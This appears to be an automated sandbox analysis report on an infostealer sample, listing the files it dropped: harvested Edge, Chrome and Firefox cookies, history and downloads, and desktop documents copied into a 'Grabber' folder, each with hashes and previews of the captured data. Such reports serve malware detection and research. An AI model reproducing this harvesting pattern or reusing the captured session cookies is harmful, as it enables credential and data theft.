                                                                                                                                                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\d1b08a492d712e019f310913d82efb4d\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\782dd7dd89e97af687ff0bdfb301ea5f\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\d168bb79d8c202ee2de4b8f1cab215dd\Microsoft.VisualBasic.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\3a54af634388e6223cd280a434ab6a59\System.Management.ni.dll",0..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Browsers\Edge\Cookies.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (311), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1366
                                                                                                                                                                          Entropy (8bit):5.550854713817041
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:XMg06Dg0Liro3oTby27fRhuDFmw/cAcBbmXbM/McPTToi4jRuqIcSxw3r:Z4o3oCKoDFxZ5bM/3T4jAESCb
                                                                                                                                                                          MD5:077518B835C3FA3C8DD56B516F3C4F09
                                                                                                                                                                          SHA1:8E1073BEA890F6E9D420C2DCD322B7492A418F39
                                                                                                                                                                          SHA-256:A7BA9FB42DCE7AC978081818555C41FCFC92ADB37C462C4E7A0DE07F4EE4C849
                                                                                                                                                                          SHA-512:EDFAFDFD07651DDFCF8447C242866282EB0D4F6ACF1DD86FB4483AE659308D1AB821ADCB940F4992B7C5F7D693E49A3B501F70AB43B74ADD87E19DD78ABA6B42
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.TRUE./.FALSE.13369433597257868.MUID.243215E5327669D43677068133B66811...TRUE./.FALSE.13369433598010327.MUIDB.243215E5327669D43677068133B66811...TRUE./.FALSE.13369433597257941.SRCHD.AF=NOFORM...TRUE./.FALSE.13369433598395523.SRCHHPGUSR.SRCHLANG=en&BRW=HTP&BRH=M&CW=929&CH=886&SCW=1164&SCH=3580&DPR=1.0&UTC=60&DM=0&PV=10.0.0...TRUE./.FALSE.13369433597257954.SRCHUID.V=2&GUID=AF408687C8FA439A8235094D5DC74E53&dmnchg=1...TRUE./.FALSE.13369433598000000.SRCHUSR.DOB=20230805&T=1691260397000...TRUE./.FALSE.13335780797257824.SUID.M...TRUE./.FALSE.13369433598010386.USRLOC.HS=1&ELOC=LAT=51.735923767089844|LON=14.326889038085938|N=Cottbus%2C%20Brandenburg|ELT=4|...TRUE./.FALSE.13369433597257915._EDGE_V.1...TRUE./.FALSE.13367359998419646._RwBf.ilt=1&ihpd=0&ispd=1&rc=3&rb=0&gb=0&rg=200&pc=0&mtu=0&rbb=0&g=0&cid=&clo=0&v=1&l=2023-08-05T07:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2023-08-05T18:33:18.5834451+00:00&rwred=0&wls=&wlb=&lka=0&lkt=0

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Browsers\Edge\History.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):171
                                                                                                                                                                          Entropy (8bit):5.250072800469101
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:RGhR8frSLsBAEXGprO8Dh2i1x3T2GGXQxWzB+0PV8GGrW09LkDVEyRGF6CY4+Geg:Q8fGLsBBGthp3THArBCC4kDVXAp2An
                                                                                                                                                                          MD5:6A8A029F13513BD5AD254BD8B9271C62
                                                                                                                                                                          SHA1:879464EB955EF40AE963C6A0FDBF418C2C137337
                                                                                                                                                                          SHA-256:AE777B9F344C2F2C9F0650B1570C10F5B37EAA84394A82D75B51BFE15DCE75D2
                                                                                                                                                                          SHA-512:ECC2A5DDA8E90AAD9F7143DA25426809B8C6225D0C1FDE0AE0A62BA6A0F2EB2129276C7B40820561038306BA2EF12BDD85A1FFE6B48304004AC477AB5D4F3478
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:### https://www.bing.com/search?q=regedikt&form=WNSGPH&qs=SW&cvid=1c4c2e2811e44c03a63aad6fcf391716&pq=regedikt&cc=GB&setlang=en-US&wsso=Moderate ### (regedikt - Search) 1.

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Browsers\Firefox\Bookmarks.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):105
                                                                                                                                                                          Entropy (8bit):3.860108567348877
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:RGtjybXLGSWKHMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWuIpg9OL2RE2m
                                                                                                                                                                          MD5:8BB3B064E0A1AD538E576DB7220D1921
                                                                                                                                                                          SHA1:E3BEC16F2DD5EE0DB39BDE202B774EA638D70596
                                                                                                                                                                          SHA-256:5590388ABE482B1B9FCE8BABCC5B08DF3E6979AF35D86EB4045501068875923A
                                                                                                                                                                          SHA-512:356BDF4F5894253859C59ECBE8D0E3C47054B0F36BAFEED4F5B7349CE2B590CE6EFE2EFB16C5FDFA9914E59A830B3646A5916A13EACABCEE3358F225BBB9C1AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:### Get Help ###.### Customise Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Browsers\Firefox\History.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:Unicode text, UTF-8 text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):94
                                                                                                                                                                          Entropy (8bit):4.886397362842801
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:RGEnGPHA9lfMJJEFAN2DSLvIJiMhKVX3L2WdXuvn:DG/CF0EFAN2OLciA8d+v
                                                                                                                                                                          MD5:61CDD7492189720D58F6C5C975D6DFBD
                                                                                                                                                                          SHA1:6966AFE0DEC5B0ABD90291FA12C0F6B7EF73ED43
                                                                                                                                                                          SHA-256:2F345865397FF1952921DB0588A6B589BAF30E67A90E11F7064E515AC162E862
                                                                                                                                                                          SHA-512:20D5A1C9809DF4F5B9C789042E5B88928A5246F9EB44F9D265CA3AA6FC9544A582B758ECAF6BBB0E9CEE149BD0AAC5E6C63D954541D1B23A7FC11894121CC0AE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:### Firefox Privacy Notice . Mozilla ### (https://www.mozilla.org/en-US/privacy/firefox/) 1.

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Browsers\Google\Cookies.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (514), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):974
                                                                                                                                                                          Entropy (8bit):5.96140771981186
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:9vKBKh8XSWHT1RbfGnKb1zKb5Rms8/y3Vggtl+7qqv:9viC+HRfb1zKlfAyFg4EOqv
                                                                                                                                                                          MD5:31E294D4C2F8AAF36C2166C81D373A94
                                                                                                                                                                          SHA1:2B3664622D75E3231463F6333DF552F6F5DAB0D3
                                                                                                                                                                          SHA-256:E8FA701DFDEA072BB20C8D58C465D4A277AC9D2EB1796BAFD92C0D2657A4AD2B
                                                                                                                                                                          SHA-512:CABBD1CCBAE6797F353BB9EA8DC2438900593F2452423AF05D9FB0A147A7A868B34A4F708BC8322E70CBC2D5109C56C2CF154F1255DBAA6684C9D3C8F7697971
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.google.com.TRUE./.FALSE.13385561990585513.NID.517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu..ogs.google.com.TRUE./.FALSE.13372342811000000.OTZ.7716220_48_52_123900_48_436380...adobe.com.TRUE./.FALSE.13370438847426033.ak_bmsc.20564E410B96EF3539889402094DE020~000000000000000000000000000000~YAAQlUxyaMEs4NiRAQAASccd2xm/y2Zo7QA6+Q0JfmISZOtGTwvrY8g71+hGy8kdY9wiebmazRy7kfEPoJuCS7nlQC4w97P/WsQ+PjoOMLUYYjcqMpuvJVziB2hx1UMsvrBkaUI6F6e2inlwc/YyN/io5dejGN//HclljEhd5EoYKGG+O+Sirx1+9Vh/xIqXfiaH1llrt9oHHD2EgbqLIhthuZhNjqmTDC4yfAdjNLYBLl5+O7OV+vCzqHuwhHvpjh4QmpgYmebYOaYOAqATcbZiw7Um8EFyJlThzgg7J7uJEpAdzDuBgKuyW1GocnGFmRE18jiPgQpim3rveATS1aqG7/pW/Xsc8e6ZMt4uCn6EJEQZdw2JmARwhc0QfOsw8ZBqfLp/fBhoQZk=..helpx.adobe.com.TRUE./.FALSE.13371641248071674.akaas_helpx_audience_segmentation_default.1727167648~rv=12~id=561ecf4a0966fc7609e5e1271a59bf55~rn=..

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Browsers\Google\Downloads.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (325)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1213
                                                                                                                                                                          Entropy (8bit):5.341810414583018
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:jND3wWfCA9L6l2GdOE5AFG11H679NS1zAAk4wtrQe3yfuccdLA8v+ovrnL8:jN7Lv9L6vdOWA8nu9NiAAMQWZd3+4nY
                                                                                                                                                                          MD5:5A37EE2971786DA3C417B2663B926CF1
                                                                                                                                                                          SHA1:BB4E03832DF44D359159DBC62735A5748D10A012
                                                                                                                                                                          SHA-256:7CCF3B2D0E459E2B0ADE0EB8839F9BF74757F69E92EEFF9B36B21608F416B04D
                                                                                                                                                                          SHA-512:968453CFBB4A312466043E2572D93D28B8E7D169790A6F88F9BEB0DFBB4018E9C2EBB33FB69DED14E4F1063A2A2A060AC10FB583B963B2F9DAA22236FAD0EA3D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:### C:\Users\user\Downloads\Firefox Setup 91.0.1.exe ### (https://www.mozilla.org/en-GB/firefox/all/#product-desktop-release) 0.### C:\Users\user\Downloads\readerdc_uk_xa_crd_install.exe ### (https://get.adobe.com/uk/reader/download/?installer=Reader_DC_2021.005.20060_English_UK_for_Windows&os=Windows%2010&browser_type=KHTML&browser_dist=Chrome&dualoffer=false&mdualoffer=true&cr=false&stype=7662&d=McAfee_Security_Scan_Plus&d=McAfee_Safe_Connect) 0.### C:\Users\user\Downloads\JavaSetup8u301.exe ### (https://www.java.com/download/ie_manual.jsp) 0.### C:\Users\user\Downloads\BIOS320.EXE ### (https://packetstormsecurity.com/files/download/22459/BIOS320.EXE) 0.### C:\Users\user\Downloads\OfficeSetup.exe ### (https://account.microsoft.com/services/?OCID=PROD_Office_CONS_SetupOffice&lang=en-US&refd=setup.office.com) 0.### C:\Users\user\Downloads\autoit-v3-setup.exe ### (https://www.autoitscript.com/site/autoit/downloads/) 0.### C:\Users\user\Downloads\eicar.com.txt ### (https://

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Browsers\Google\History.txt

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:Unicode text, UTF-8 text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):915
                                                                                                                                                                          Entropy (8bit):5.131130482267005
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:QO9vdmuLICNQvRFdaO94G39x+9BAlX2yEQOJIZYOxu9uNUBOxu9FBO9vVd20H1gc:LLm4QxO2ACLuM/ukdH1FrbUAkerbUAkE
                                                                                                                                                                          MD5:BFD9BA7FE6FF1A6A97307A68563104CA
                                                                                                                                                                          SHA1:A290D49F84880433F9A5DB7CC8833309F31C9593
                                                                                                                                                                          SHA-256:AC7330FCF05FB2E1021FF576F63A67384CE71B37DFD3172D89F651C89FDD6235
                                                                                                                                                                          SHA-512:A464A23CF220D523864C6C09A3922F8BB5038B6C190874EA21CAEBBA008FD8ABC50914D1861B38C255B819328451B2646656C0D4352DC89C23C7A71320ACC1D0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:### https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_medium=et ### (Google Chrome - The Fast & Secure Web Browser Built to be Yours) 3.### https://www.google.com/search?q=eicar+test+file&oq=eicar+test+file&aqs=chrome..69i57j0i512l9.2756j0j4&sourceid=chrome&ie=UTF-8 ### (eicar test file - Google Search) 1.### https://www.eicar.org/download-anti-malware-testfile/ ### (Download Anti Malware Testfile . Eicar) 4.### https://secure.eicar.org/eicar.com ### () 1.### https://secure.eicar.org/eicar.com.txt ### () 1.### https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrowser=0 ### (Google Chrome Web Browser) 1.### http://helpx.adobe.com/support/reader.html?mv=product ### (Adobe Acrobat Reader Learn & Support) 1.### https://helpx.adobe.com/support/reader.html?mv=product ### (Adobe Acrobat Reader Learn & Support) 1.

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BJZFPPWAPT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.704346314649071
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
                                                                                                                                                                          MD5:8B66CD8FCBCEB253D75DB5CDE6291FA2
                                                                                                                                                                          SHA1:6CE0386190B9753849299B268AA7B8D15F9F72E2
                                                                                                                                                                          SHA-256:51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
                                                                                                                                                                          SHA-512:7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
